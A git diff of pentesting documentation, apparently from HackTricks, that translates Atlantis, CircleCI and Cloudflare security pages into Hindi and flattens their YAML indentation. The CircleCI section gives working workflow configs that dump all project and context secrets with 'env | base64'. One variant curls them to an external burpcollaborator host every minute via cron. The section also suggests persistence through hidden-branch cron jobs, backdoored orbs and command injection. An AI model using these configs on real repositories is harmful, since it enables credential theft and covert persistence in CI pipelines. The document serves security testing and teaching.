-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+क्योंकि कोई भी सार्वजनिक पुल अनुरोधों पर टिप्पणी कर सकता है, सभी सुरक्षा उपायों के साथ भी, सार्वजनिक रिपोजिटरी पर उचित सुरक्षा सेटिंग्स के बिना Atlantis चलाना अभी भी खतरनाक है।
#### Don't Use `--allow-fork-prs`
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+यदि आप एक सार्वजनिक रिपोजिटरी पर चल रहे हैं (जो अनुशंसित नहीं है, ऊपर देखें) तो आपको `--allow-fork-prs` सेट नहीं करना चाहिए (डिफ़ॉल्ट रूप से false) क्योंकि कोई भी अपने फोर्क से आपके रिपोजिटरी के लिए एक पुल अनुरोध खोल सकता है।
#### `--repo-allowlist`
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantis को आपको `--repo-allowlist` ध्वज के माध्यम से स्वीकार किए जाने वाले रिपोजिटरी की एक allowlist निर्दिष्ट करने की आवश्यकता है। उदाहरण के लिए:
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- विशिष्ट रिपोजिटरी: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- आपका पूरा संगठन: `--repo-allowlist=github.com/runatlantis/*`
+- आपके GitHub Enterprise इंस्टॉलेशन में हर रिपोजिटरी: `--repo-allowlist=github.yourcompany.com/*`
+- सभी रिपोजिटरी: `--repo-allowlist=*`। जब आप एक सुरक्षित नेटवर्क में होते हैं तो यह उपयोगी है लेकिन बिना webhook secret सेट किए खतरनाक है।
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+यह ध्वज सुनिश्चित करता है कि आपकी Atlantis इंस्टॉलेशन उन रिपोजिटरी के साथ उपयोग नहीं की जा रही है जिन्हें आप नियंत्रित नहीं करते। अधिक विवरण के लिए `atlantis server --help` देखें।
#### Protect Terraform Planning
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+यदि हमलावर दुष्ट Terraform कोड के साथ पुल अनुरोध प्रस्तुत कर रहे हैं तो यह आपके खतरे के मॉडल में है, तो आपको यह जानना चाहिए कि `terraform apply` अनुमतियाँ पर्याप्त नहीं हैं। यह [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) का उपयोग करके या एक दुष्ट प्रदाता निर्दिष्ट करके `terraform plan` में दुष्ट कोड चलाना संभव है। यह कोड फिर आपके क्रेडेंशियल्स को एक्सफिल्ट्रेट कर सकता है।
-To prevent this, you could:
+इससे बचने के लिए, आप कर सकते हैं:
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. प्रदाताओं को Atlantis छवि में बेक करें या होस्ट करें और उत्पादन में ईग्रेस को अस्वीकार करें।
+2. आंतरिक रूप से प्रदाता रजिस्ट्री प्रोटोकॉल लागू करें और सार्वजनिक ईग्रेस को अस्वीकार करें, इस तरह आप नियंत्रित करते हैं कि किसके पास रजिस्ट्री में लिखने का अधिकार है।
+3. अपने [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html) के `plan` चरण को संशोधित करें ताकि अवैध प्रदाताओं या डेटा स्रोतों या अनुमति न दिए गए उपयोगकर्ताओं से PRs के उपयोग के खिलाफ मान्य किया जा सके। आप इस बिंदु पर अतिरिक्त मान्यता भी जोड़ सकते हैं, जैसे PR पर "thumbs-up" की आवश्यकता करना इससे पहले कि `plan` जारी रखने की अनुमति दी जाए। Conftest यहाँ उपयोगी हो सकता है।
#### Webhook Secrets
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantis को Webhook secrets के साथ चलाना चाहिए जो `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` पर्यावरण वेरिएबल के माध्यम से सेट किए गए हैं। `--repo-allowlist` ध्वज सेट होने के बावजूद, बिना webhook secret के, हमलावर Atlantis को एक ऐसे रिपोजिटरी के रूप में अनुरोध कर सकते हैं जो allowlisted है। Webhook secrets सुनिश्चित करते हैं कि webhook अनुरोध वास्तव में आपके VCS प्रदाता (GitHub या GitLab) से आ रहे हैं।
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+यदि आप Azure DevOps का उपयोग कर रहे हैं, तो webhook secrets के बजाय एक बुनियादी उपयोगकर्ता नाम और पासवर्ड जोड़ें।
#### Azure DevOps Basic Authentication
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOps सभी webhook घटनाओं में एक बुनियादी प्रमाणीकरण हेडर भेजने का समर्थन करता है। इसके लिए आपके webhook स्थान के लिए HTTPS URL का उपयोग करना आवश्यक है।
#### SSL/HTTPS
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+यदि आप webhook secrets का उपयोग कर रहे हैं लेकिन आपका ट्रैफ़िक HTTP पर है, तो webhook secrets चुराए जा सकते हैं। `--ssl-cert-file` और `--ssl-key-file` ध्वजों का उपयोग करके SSL/HTTPS सक्षम करें।
#### Enable Authentication on Atlantis Web Server
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+वेब सेवा में प्रमाणीकरण सक्षम करना अत्यधिक अनुशंसित है। `--web-basic-auth=true` का उपयोग करके BasicAuth सक्षम करें और `--web-username=yourUsername` और `--web-password=yourPassword` ध्वजों का उपयोग करके एक उपयोगकर्ता नाम और पासवर्ड सेट करें।
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+आप इनको पर्यावरण वेरिएबल के रूप में भी पास कर सकते हैं `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` और `ATLANTIS_WEB_PASSWORD=yourPassword`।
### References
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..a38da88a0 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -1,259 +1,235 @@
-# CircleCI Security
+# CircleCI सुरक्षा
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### बुनियादी जानकारी
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) एक निरंतर एकीकरण प्लेटफार्म है जहाँ आप **टेम्पलेट्स** परिभाषित कर सकते हैं जो यह बताती हैं कि आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं। इस तरह आप **परीक्षण** या **तैनाती** को सीधे **अपने रेपो के मास्टर ब्रांच** से स्वचालित कर सकते हैं, उदाहरण के लिए।
-### Permissions
+### अनुमतियाँ
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI** **अनुमतियाँ विरासत में लेता है** github और bitbucket से संबंधित **खाते** से जो लॉग इन करता है।\
+मेरी परीक्षण में मैंने यह जांचा कि जब तक आपके पास **github में रेपो पर लिखने की अनुमतियाँ हैं**, आप **CircleCI में इसके प्रोजेक्ट सेटिंग्स को प्रबंधित करने में सक्षम होंगे** (नए ssh कुंजी सेट करें, प्रोजेक्ट api कुंजी प्राप्त करें, नए CircleCI कॉन्फ़िग्स के साथ नए ब्रांच बनाएं...)।
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+हालांकि, आपको **CircleCI प्रोजेक्ट में रेपो को परिवर्तित करने** के लिए **रेपो प्रशासक** होना आवश्यक है।
-### Env Variables & Secrets
+### पर्यावरण चर और रहस्य
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+[**दस्तावेज़ों**](https://circleci.com/docs/2.0/env-vars/) के अनुसार, कार्यप्रवाह के भीतर **पर्यावरण चर में मान लोड करने** के विभिन्न तरीके हैं।
-#### Built-in env variables
+#### अंतर्निहित पर्यावरण चर
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+CircleCI द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा [**दस्तावेज़ में परिभाषित विशिष्ट पर्यावरण चर**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) होंगे जैसे `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` या `CIRCLE_USERNAME`।
-#### Clear text
-
-You can declare them in clear text inside a **command**:
+#### स्पष्ट पाठ
+आप उन्हें **कमांड** के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:
```yaml
- run:
- name: "set and echo"
- command: |
- SECRET="A secret"
- echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
```
-
-You can declare them in clear text inside the **run environment**:
-
+आप उन्हें **run environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
```yaml
- run:
- name: "set and echo"
- command: echo $SECRET
- environment:
- SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **build-job environment**:
-
+आप उन्हें **build-job environment** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **environment of a container**:
-
+आप उन्हें **कंटेनर के वातावरण** के अंदर स्पष्ट पाठ में घोषित कर सकते हैं:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
+#### प्रोजेक्ट रहस्य
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+ये **रहस्य** केवल **प्रोजेक्ट** द्वारा (किसी भी **शाखा** द्वारा) **पहुँचने योग्य** होंगे।\
+आप इन्हें _https://app.circleci.com/settings/project/github/\/\/environment-variables_ में **घोषित** होते हुए देख सकते हैं।
.png>)
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है।
-#### Context Secrets
+#### संदर्भ रहस्य
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+ये रहस्य **संगठन स्तर** पर हैं। **डिफ़ॉल्ट रूप से कोई भी रेपो** यहाँ संग्रहीत **किसी भी रहस्य** तक पहुँचने में सक्षम होगा:
.png>)
> [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> हालाँकि, ध्यान दें कि एक अलग समूह (सभी सदस्यों के बजाय) को **विशिष्ट लोगों को रहस्यों तक पहुँच देने के लिए चुना जा सकता है**।\
+> यह वर्तमान में रहस्यों की **सुरक्षा बढ़ाने** के लिए सबसे अच्छे तरीकों में से एक है, ताकि सभी को उन्हें पहुँचने की अनुमति न हो बल्कि केवल कुछ लोगों को।
-### Attacks
+### हमले
-#### Search Clear Text Secrets
+#### स्पष्ट पाठ रहस्यों की खोज
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+यदि आपके पास **VCS** (जैसे github) तक **पहुँच** है, तो **प्रत्येक शाखा पर प्रत्येक रेपो** की फ़ाइल `.circleci/config.yml` की जाँच करें और वहाँ संग्रहीत संभावित **स्पष्ट पाठ रहस्यों** के लिए **खोजें**।
-#### Secret Env Vars & Context enumeration
+#### रहस्य पर्यावरण वेरिएबल्स और संदर्भ गणना
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_.
+कोड की जाँच करते समय आप प्रत्येक `.circleci/config.yml` फ़ाइल में **सभी रहस्य नाम** पा सकते हैं जो **उपयोग** किए जा रहे हैं। आप उन फ़ाइलों से **संदर्भ नाम** भी प्राप्त कर सकते हैं या उन्हें वेब कंसोल में देख सकते हैं: _https://app.circleci.com/settings/organization/github/\/contexts_।
-#### Exfiltrate Project secrets
+#### प्रोजेक्ट रहस्यों को निकालना
> [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> **सभी** प्रोजेक्ट और संदर्भ **रहस्यों** को **निकालने** के लिए आपको **सिर्फ 1 रेपो** में **लिखने** की पहुँच होनी चाहिए (_और आपके खाते को संदर्भों तक पहुँच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से सभी को हर संदर्भ तक पहुँच मिलती है_)।
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> "**आयात वेरिएबल्स**" कार्यक्षमता **अन्य प्रोजेक्ट्स** से इस प्रोजेक्ट में **वेरिएबल्स आयात** करने की अनुमति देती है। इसलिए, एक हमलावर **सभी रेपो से सभी प्रोजेक्ट वेरिएबल्स आयात** कर सकता है और फिर **सभी को एक साथ निकाल सकता है**।
+सभी प्रोजेक्ट रहस्य हमेशा नौकरियों के वातावरण में सेट होते हैं, इसलिए बस env को कॉल करना और इसे base64 में छिपाना रहस्यों को **कार्यप्रवाह वेब लॉग कंसोल** में निकाल देगा:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो बना सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
```
-
#### Exfiltrate Context Secrets
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+आपको **संदर्भ नाम निर्दिष्ट करना होगा** (यह परियोजना के रहस्यों को भी बाहर निकालेगा):
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+यदि आपके पास **वेब कंसोल तक पहुंच नहीं है** लेकिन आपके पास **रेपो तक पहुंच है** और आप जानते हैं कि CircleCI का उपयोग किया जा रहा है, तो आप बस **एक वर्कफ़्लो को संशोधित कर सकते हैं** जो **हर मिनट ट्रिगर होता है** और जो **गुप्त जानकारी को एक बाहरी पते पर भेजता है**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
```
-
> [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> एक नया `.circleci/config.yml` बनाना **circleci बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है**। आपको **इसे circleci कंसोल में एक प्रोजेक्ट के रूप में सक्षम करना होगा**।
-#### Escape to Cloud
+#### क्लाउड में भागें
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI** आपको **अपने बिल्ड को उनके मशीनों या अपने खुद के मशीनों में चलाने का विकल्प देता है**।\
+डिफ़ॉल्ट रूप से, उनके मशीन GCP में स्थित हैं, और आप प्रारंभ में कुछ भी प्रासंगिक नहीं पा सकेंगे। हालाँकि, यदि एक पीड़ित **अपने खुद के मशीनों (संभवतः, एक क्लाउड वातावरण में)** में कार्य चला रहा है, तो आप एक **क्लाउड मेटाडेटा एंडपॉइंट पा सकते हैं जिसमें दिलचस्प जानकारी हो सकती है**।
+ध्यान दें कि पिछले उदाहरणों में सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप **एक VM मशीन लॉन्च करने के लिए भी कह सकते हैं** (जिसके पास विभिन्न क्लाउड अनुमतियाँ हो सकती हैं):
```yaml
jobs:
- exfil-env:
- #docker:
- # - image: cimg/base:stable
- machine:
- image: ubuntu-2004:current
+exfil-env:
+#docker:
+# - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
```
-
-Or even a docker container with access to a remote docker service:
-
+या यहां तक कि एक डॉकर कंटेनर जो एक दूरस्थ डॉकर सेवा तक पहुंच रखता है:
```yaml
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - setup_remote_docker:
- version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
```
-
#### Persistence
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- - _https://app.circleci.com/settings/project/github/\/\/api_
-- It's possible to **add SSH keys** to the projects.
- - _https://app.circleci.com/settings/project/github/\/\/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- CircleCI में **उपयोगकर्ता टोकन** **बनाना** संभव है ताकि उपयोगकर्ता की पहुंच के साथ API एंडपॉइंट्स तक पहुंचा जा सके।
+- _https://app.circleci.com/settings/user/tokens_
+- **प्रोजेक्ट टोकन** **बनाना** संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।
+- _https://app.circleci.com/settings/project/github/\/\/api_
+- प्रोजेक्ट्स में **SSH कुंजी** **जोड़ना** संभव है।
+- _https://app.circleci.com/settings/project/github/\/\/ssh_
+- एक अप्रत्याशित प्रोजेक्ट में **छिपी शाखा में क्रॉन जॉब** **बनाना** संभव है जो हर दिन सभी **संदर्भ env** वेरिएबल्स **लीक** कर रहा है।
+- या यहां तक कि एक शाखा में **बनाना** / एक ज्ञात जॉब को संशोधित करना जो हर दिन सभी संदर्भ और **प्रोजेक्ट्स के रहस्यों** को **लीक** करेगा।
+- यदि आप एक गिटहब मालिक हैं, तो आप **असत्यापित ऑर्ब्स** की **अनुमति** दे सकते हैं और एक जॉब में इसे **बैकडोर** के रूप में कॉन्फ़िगर कर सकते हैं।
+- आप कुछ कार्यों में **कमांड इंजेक्शन भेद्यता** पा सकते हैं और **गुप्त** के मान को संशोधित करके **कमांड** **इंजेक्ट** कर सकते हैं।
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..cce1642c4 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -26,7 +26,7 @@ cloudflare-domains.md
## Analytics
-_I couldn't find anything to check for a config security review._
+_मैंने कॉन्फ़िगरेशन सुरक्षा समीक्षा के लिए कुछ नहीं पाया।_
## Pages
@@ -47,9 +47,9 @@ On each Cloudflare's worker check:
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- - Check for SSRFs returning the indicated page that you can control
- - Check XSSs executing JS inside a svg image
- - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- Check for SSRFs returning the indicated page that you can control
+- Check XSSs executing JS inside a svg image
+- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
@@ -94,34 +94,34 @@ cloudflare-zero-trust-network.md
## Notifications
- [ ] Check the **notifications.** These notifications are recommended for security:
- - `Usage Based Billing`
- - `HTTP DDoS Attack Alert`
- - `Layer 3/4 DDoS Attack Alert`
- - `Advanced HTTP DDoS Attack Alert`
- - `Advanced Layer 3/4 DDoS Attack Alert`
- - `Flow-based Monitoring: Volumetric Attack`
- - `Route Leak Detection Alert`
- - `Access mTLS Certificate Expiration Alert`
- - `SSL for SaaS Custom Hostnames Alert`
- - `Universal SSL Alert`
- - `Script Monitor New Code Change Detection Alert`
- - `Script Monitor New Domain Alert`
- - `Script Monitor New Malicious Domain Alert`
- - `Script Monitor New Malicious Script Alert`
- - `Script Monitor New Malicious URL Alert`
- - `Script Monitor New Scripts Alert`
- - `Script Monitor New Script Exceeds Max URL Length Alert`
- - `Advanced Security Events Alert`
- - `Security Events Alert`
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
## Manage Account
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
+- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
> [!NOTE]
@@ -132,7 +132,3 @@ cloudflare-zero-trust-network.md
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..8928d4eb8 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -23,7 +23,7 @@ In each TLD configured in Cloudflare there are some **general settings and servi
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
+- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
### **Email**
@@ -53,25 +53,25 @@ TODO
### **Security**
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
+- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
